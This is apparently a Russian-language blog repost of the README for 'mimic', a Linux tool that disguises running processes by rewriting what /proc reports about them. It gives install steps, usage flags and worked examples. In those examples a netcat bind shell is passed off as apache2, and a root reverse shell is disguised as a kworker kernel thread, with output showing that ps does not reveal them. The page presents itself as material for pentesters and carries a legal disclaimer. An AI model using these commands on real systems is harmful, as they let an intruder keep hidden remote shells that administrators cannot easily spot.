Mimic — инструмент для скрытого исполнения в Linux

Что такое «скрытое исполнение»?

Скрытое исполнение — это искусство скрытия процесса.

В этом случае имитация скрывает процесс из виду. mimic может запустить любую программу и сделать ее похожей на любую другую программу.

Любой пользователь может его использовать.

Он не требует специальных разрешений.

Он не требует специальных двоичных файлов.

Он не требует руткитов.

Как?! Нет особых привилегий?

Это верно. mimic работает, перестраивая внутренние структуры процесса таким образом, что он смущает запись / proc для этого процесса.

Все инструменты, которые сообщают о характере процесса, делают это путем изучения / proc.

Если мы сможем изгибать / proc, то мы можем скрыть процесс из виду. Поскольку мы только изменяем состояние процесса, которым мы владеем, любой может успешно запустить имитацию.

Может ли это быть обнаружено ?!

Конечно, но только если вы смотрите очень внимательно или запускаете форензический инструмент, который ищет такого рода вещи.

Полезность mimic заключается в том, что она не позволит кому-то стать подозрительным в первую очередь.

Будет ли это работать со сценариями?

 Да, но вам нужно вызвать mimic непосредственно на интерпретаторе.

Например, если первая строка вашего скрипта — «#! / Usr / bin / perl», тогда вы хотите вызвать mimic следующим образом:

 # mimic -e "/usr/bin/perl test.pl" 

Кто является целевой аудиторией для mimic?

Любой, кто законно нуждается в скрытии процессов, прежде чем они укоренились.

Пентестеры

«Исследователи выполняют скрытые операции (конечно, с предварительного разрешения их юридических и HR-отделов).

Что такое «set_target_pid»?

set_target_pid — небольшая вспомогательная программа в мимическом наборе, который будет вытеснять pids, пока тот, который вы хотите, не вернется.

Она позволяет вам выбирать, где в списке процессов вы хотите, чтобы ваш процесс сидел.

Обратите внимание, что ядро резервирует первые 300 pids для потоков ядра.

Если вы попытаетесь пойти ниже этого, вы, вероятно, закончите работу с pid 301.

Установка

 # git clone https://github.com/emptymonkey/ptrace_do.git
# cd ptrace_do
# make
# cd ..

# git clone https://github.com/emptymonkey/mimic.git
# cd mimic
# make 

Использование

 # usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
-e Execute COMMAND.
-m Setup COMMAND to look like MIMIC.
Default for non-root is:    "/usr/sbin/apache2 -k start"
Default for root is:        "[kworker/0:0]"
-b Launch COMMAND in the background.
-a Add / overwrite KEY to the mimic environment with associated VALUE.
-q Be quiet! Do not print normal output.
-h Print this helpful message.

Notes:
The MIMIC environment will be a copy of the COMMAND environment.
The '_' variable is automatically changed.
The -a flag can be called multiple times to add / overwrite multiple variables.

Examples:
mimic -e /bin/bash
set_target_pid 1 && mimic -e /bin/bash
mimic -b -e "./revsh"
mimic -b -e "nc -l -e /bin/bash"
mimic -b -e "nc -l -e \"mimic -e /bin/bash\"" 

Примеры

Первый пример. Запуск слушателя netcat в качестве обычного пользователя:

 # ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

Good-bye and have a good luck! 🙂

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty:
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN) 

Второй пример. Запуск обратной оболочки netcat с правами root:

 # /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999" 
Можете ли вы заметить поддельных kworkers? Могли бы вы без помощи grep?
 # ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1] 
Конечно, ни один kworker не должен иметь открытого сокета, но я уверен, что вы можете быть более креативным в выборе наименований, чем это. 🙂
# lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED) 
Обратите внимание, что я запускаю здесь как root только потому, что поток kworker должен быть очень подозрительным, как пользователь без полномочий root.
Новое имя mimic — это просто строка.
Это не должен быть существующий процесс.
# code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"</pre>
empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!

Скачать Mimic

¯\_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

cryptoparty

Cryptography is typically bypassed, not penetrated.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *